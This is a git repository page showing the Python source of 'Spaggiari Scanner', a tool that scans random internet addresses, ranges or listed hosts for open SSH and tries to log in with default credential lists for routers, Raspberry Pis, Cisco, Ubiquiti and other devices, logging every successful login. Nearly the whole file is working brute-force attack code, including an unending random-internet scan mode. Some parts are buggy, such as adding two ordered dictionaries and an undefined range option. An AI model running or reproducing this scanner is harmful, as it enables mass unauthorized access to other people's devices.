spaggiari

- irc bot to scan & bruteforce ssh/telnet
git clone git://git.acid.vegas/spaggiari.git
Log | Files | Refs | Archive | README | LICENSE

spaggiari.py (10745B)

      1 #!/usr/bin/env python
      2 # Spaggiari Scanner - Developed by acidvegas in Python (https://acid.vegas/spaggiari)
      3 
      4 import argparse
      5 import logging
      6 import os
      7 import random
      8 import re
      9 import socket
     10 import sys
     11 import threading
     12 import time
     13 from collections import OrderedDict
     14 
     15 # Throttle Settings
     16 max_threads     = 100
     17 throttle        = 20
     18 timeout_breaker = 5
     19 timeout_port    = 10
     20 timeout_ssh     = 10
     21 
     22 # SSH Login Combos
     23 combos = OrderedDict([
     24     ('root',  ('root','toor','admin','changeme','pass','password','1234','12345','123456')),
     25     ('admin', ('1234','12345','123456','4321','9999','abc123','admin','changeme','admin123','password'))
     26 ])
     27 
     28 deep_combos = OrderedDict([
     29     ('root',      ('alien','alpine','calvin','kn1TG7psLu','logapp','openelec','pixmet2003','raspberrypi','rasplex','rootme','soho','TANDBERG','trendimsa1.0')),
     30     ('admin',     ('aerohive','kn1TG7psLu','TANDBERG')),
     31     ('alien',     'alien'),
     32     ('bitnami',   'bitnami'),
     33     ('cisco',     'cisco'),
     34     ('device',    'apc'),
     35     ('dpn',       'changeme'),
     36     ('HPSupport', 'badg3r5'),
     37     ('lp',        'lp'),
     38     ('master',    'themaster01'),
     39     ('osmc',      'osmc'),
     40     ('pi',        'raspberry'),
     41     ('plexuser',  'rasplex'),
     42     ('sysadmin',  'PASS'),
     43     ('toor',      'logapp'),
     44     ('ubnt',      'ubnt'),
     45     ('user',      ('acme','live')),
     46     ('vagrant',   'vagrant'),
     47     ('virl',      'VIRL'),
     48     ('vyos',      'vyos')
     49 ])
     50 
     51 # Excluded IP Ranges
     52 reserved = ('0','10','100.64','100.65','100.66','100.67','100.68','100.69','100.70','100.71','100.72','100.73','100.74','100.75','100.76','100.77','100.78','100.79','100.80','100.81','100.82','100.83','100.84','100.85','100.86','100.87','100.88','100.89','100.90','100.91','100.92','100.93','100.94','100.95','100.96','100.97','100.98','100.99','100.100','100.101','100.102','100.103','100.104','100.105','100.106','100.107','100.108','100.109','100.110','100.111','100.112','100.113','100.114','100.115','100.116','100.117','100.118','100.119','100.120','100.121','100.122','100.123','100.124','100.125','100.126','100.127','127','169.254','172.16','172.17','172.18','172.19','172.20','172.21','172.22','172.23','172.24','172.25','172.26','172.27','172.28','172.29','172.30','172.31','172.32','192.0.0','192.0.2','192.88.99','192.168','198.18','198.19','198.51.100','203.0.113','224','225','226','227','228','229','230','231','232','233','234','235','236','237','238','239','240','241','242','243','244','245','246','247','248','249','250','251','252','253','254','255')
     53 
     54 def check_ip(ip):
     55     return re.match('^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$', ip)
     56 
     57 def check_port(ip, port):
     58     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     59     sock.settimeout(timeout_port)
     60     try:
     61         code = sock.connect((ip, port))
     62     except socket.error:
     63         return False
     64     else:
     65         if not code:
     66             return True
     67         else:
     68             return False
     69     finally:
     70         sock.close()
     71 
     72 def check_range(targets):
     73     found = False
     74     for ip in targets:
     75         if found:
     76             break
     77         for bad_range in reserved:
     78             if ip.startswith(bad_range + '.'):
     79                 found = True
     80                 break
     81     return found
     82 
     83 def ip_range(start_ip, end_ip):
     84     start = list(map(int, start_ip.split('.')))
     85     end   = list(map(int, end_ip.split('.')))
     86     temp  = start
     87     ip_range = []
     88     ip_range.append(start_ip)
     89     while temp != end:
     90         start[3] += 1
     91         for i in (3, 2, 1):
     92            if temp[i] == 256:
     93               temp[i] = 0
     94               temp[i-1] += 1
     95         ip_range.append('.'.join(map(str, temp)))
     96     random.shuffle(ip_range)
     97     return ip_range
     98 
     99 def random_int(min, max):
    100     return random.randint(min, max)
    101 
    102 def random_ip():
    103     return '{0}.{1}.{2}.{3}'.format(random_int(1,223), random_int(0,255), random_int(0,255), random_int(0,255))
    104 
    105 def random_scan():
    106     while True:
    107         ip = (random_ip(),)
    108         if not check_range(ip):
    109             threading.Thread(target=ssh_bruteforce, args=(ip[0],)).start()
    110         while threading.activeCount() >= max_threads:
    111             time.sleep(1)
    112 
    113 def range_scan(ip_range):
    114     for ip in ip_range:
    115         threading.Thread(target=ssh_bruteforce, args=(ip,)).start()
    116         while threading.activeCount() >= max_threads:
    117             time.sleep(1)
    118     while threading.activeCount() >= 2:
    119         time.sleep(1)
    120 
    121 def ssh_bruteforce(ip):
    122     timeouts = 0
    123     if check_port(ip, 22):
    124         logging.debug('{0} has port 22 open.'.format(ip))
    125         for username in combos:
    126             passwords = combos[username]
    127             for password in combos[username]:
    128                 if timeouts >= timeout_breaker:
    129                     break
    130                 else:
    131                     result = ssh_connect(ip, username, password)
    132                     if result == 1:
    133                         timeouts += 1
    134                     elif result == 2:
    135                         timeouts = timeout_breaker
    136                     time.sleep(throttle)
    137     else:
    138         logging.error('{0} does not have port 22 open.'.format(ip))
    139 
    140 def ssh_connect(hostname, username, password):
    141     ssh = paramiko.SSHClient()
    142     ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    143     try:
    144         ssh.connect(hostname, 22, username, password, timeout=timeout_ssh)
    145     except socket.timeout:
    146         logging.error('Failed to connect to {0} using {1}:{2} (Timeout)'.format(hostname, username, password))
    147         return 1
    148     except Exception as ex:
    149         logging.error('Failed to connect to {0} using {1}:{2} ({3})'.format(hostname, username, password, str(ex)))
    150         return 0
    151     else:
    152         logging.info('Successful connection to {0} using {1}:{2}'.format(hostname, username, password))
    153         return 2
    154     finally:
    155         ssh.close()
    156 
    157 # Main
    158 print(''.rjust(56, '#'))
    159 print('#{0}#'.format(''.center(54)))
    160 print('#{0}#'.format('Spaggiari Scanner'.center(54)))
    161 print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
    162 print('#{0}#'.format('https://git.supernets.org/acidvegas/spaggiari'.center(54)))
    163 print('#{0}#'.format(''.center(54)))
    164 logger = logging.getLogger()
    165 logger.setLevel(logging.INFO)
    166 stream_handler = logging.StreamHandler(sys.stdout)
    167 stream_handler.setLevel(logging.INFO)
    168 formatter = logging.Formatter('%(asctime)s | %(levelname)8s: %(message)s', '%I:%M:%S')
    169 stream_handler.setFormatter(formatter)
    170 logger.addHandler(stream_handler)
    171 if not sys.version_info.major == 3:
    172     logging.critical('Spaggiari Scanner requires Python version 3 to run!')
    173     sys.exit()
    174 try:
    175     import paramiko
    176 except ImportError:
    177     logging.critical('Failed to import the Paramiko library!')
    178     sys.exit()
    179 else:
    180     paramiko.util.log_to_file(os.devnull)
    181 parser = argparse.ArgumentParser(prog='spaggiari.py', usage='%(prog)s [OPTIONS] [SCAN]')
    182 parser.add_argument('-d', action='store_true', dest='deepscan', help='option: enable deep scanning.')
    183 parser.add_argument('-f', action='store_true', dest='fastscan', help='option: enable fast scanning.')
    184 parser.add_argument('-o', dest='output', help='option: save output from scan(s) to file.', metavar='<path>', type=str)
    185 parser.add_argument('-l', dest='listscan', help='scan a list of ip addresses from file.', metavar='<path>', type=str)
    186 parser.add_argument('-x', action='store_true', dest='randscan', help='scan random ip addresses. (does not stop)')
    187 parser.add_argument('-r', dest='rangescan', help='scan a range of ip addresses.', metavar=('<class>', '<range>'), nargs=2, type=str)
    188 parser.add_argument('-t', dest='targetscan', help='scan a target ip address.', metavar='<ip>', type=str)
    189 args = parser.parse_args()
    190 if args.deepscan:
    191     if not args.targetscan:
    192         logging.critical('Deep scanning can only be enabled with a target scan. (-t)')
    193         sys.exit()
    194     elif args.fastscan:
    195         logging.critical('Fast scanning can not be enabled with a deep scan. (-f)')
    196         sys.exit()
    197     else:
    198         combos = combos + deep_combos
    199 elif args.fastscan:
    200     if args.targetscan:
    201         logging.critical('Fast scanning can not be enabled with a target scan.')
    202     combos = {'root':('root',) }
    203 if args.output:
    204     file_handler = logging.FileHandler(args.output)
    205     file_handler.setLevel(logging.DEBUG)
    206     file_handler.setFormatter(formatter)
    207     logger.addHandler(file_handler)
    208     logger.debug('Logging enabled.')
    209 if args.listscan:
    210     if os.path.isfile(args.listscan):
    211         targets = []
    212         with open(args.listscan) as list_file:
    213             lines = list_file.read().splitlines()
    214             for line in [x for x in lines if x]:
    215                 if check_ip(line):
    216                     targets.append(line)
    217         if targets:
    218             if not check_range(targets):
    219                 logging.debug('Scanning {0:,} IP addresses from list...'.format(len(targets)))
    220                 range_scan(targets)
    221                 logging.debug('Scan has completed.')
    222             else:
    223                 logging.error('Reserved IP address in range.')
    224         else:
    225             logging.error('List contains no valid IP addresses.')
    226     else:
    227         logging.error('Invalid list file. ({0})'.format(args.listscan))
    228 elif args.randscan:
    229     logging.debug('Scanning random IP addresses...')
    230     random_scan()
    231 elif args.rangescan:
    232     if args.rangescan[0] in ('b','c'):
    233         if args.rangescan[0] == 'b':
    234             if args.iprange == 'random':
    235                 range_prefix = '{0}.{1}'.format(random_int(0,255), random_int(0,255))
    236             else:
    237                 range_prefix = args.rangescan[1]
    238             start = range_prefix + '.0.0'
    239             end   = range_prefix + '.255.255'
    240         elif args.rangescan[0] == 'c':
    241             if args.iprange == 'random':
    242                 range_prefix = '{0}.{1}.{2}'.format(random_int(0,255), random_int(0,255), random_int(0,255))
    243             else:
    244                 range_prefix = args.rangescan[1]
    245             start = range_prefix + '.0'
    246             end   = range_prefix + '.255'
    247         if check_ip(start):
    248             targets = ip_range(start, end)
    249             if not check_range(targets):
    250                 logging.debug('Scanning {0} IP addresses in range...'.format(len(targets)))
    251                 range_scan(targets)
    252                 logging.debug('Scan has completed.')
    253             else:
    254                 logging.error('Reserved IP address in range.')
    255         else:
    256             logging.error('Invalid IP range prefix. ({0})'.format(args.rangescan[1]))
    257     else:
    258         logging.error('Invalid IP Class. ({0})'.format(args.rangescan[0]))
    259 elif args.targetscan:
    260     if check_ip(args.targetscan):
    261         ssh_bruteforce(args.targetscan)
    262         logging.debug('Scan has completed.')
    263     else:
    264         logging.error('Invalid IP Address. ({0})'.format(args.targetscan))
    265 else:
    266     parser.print_help()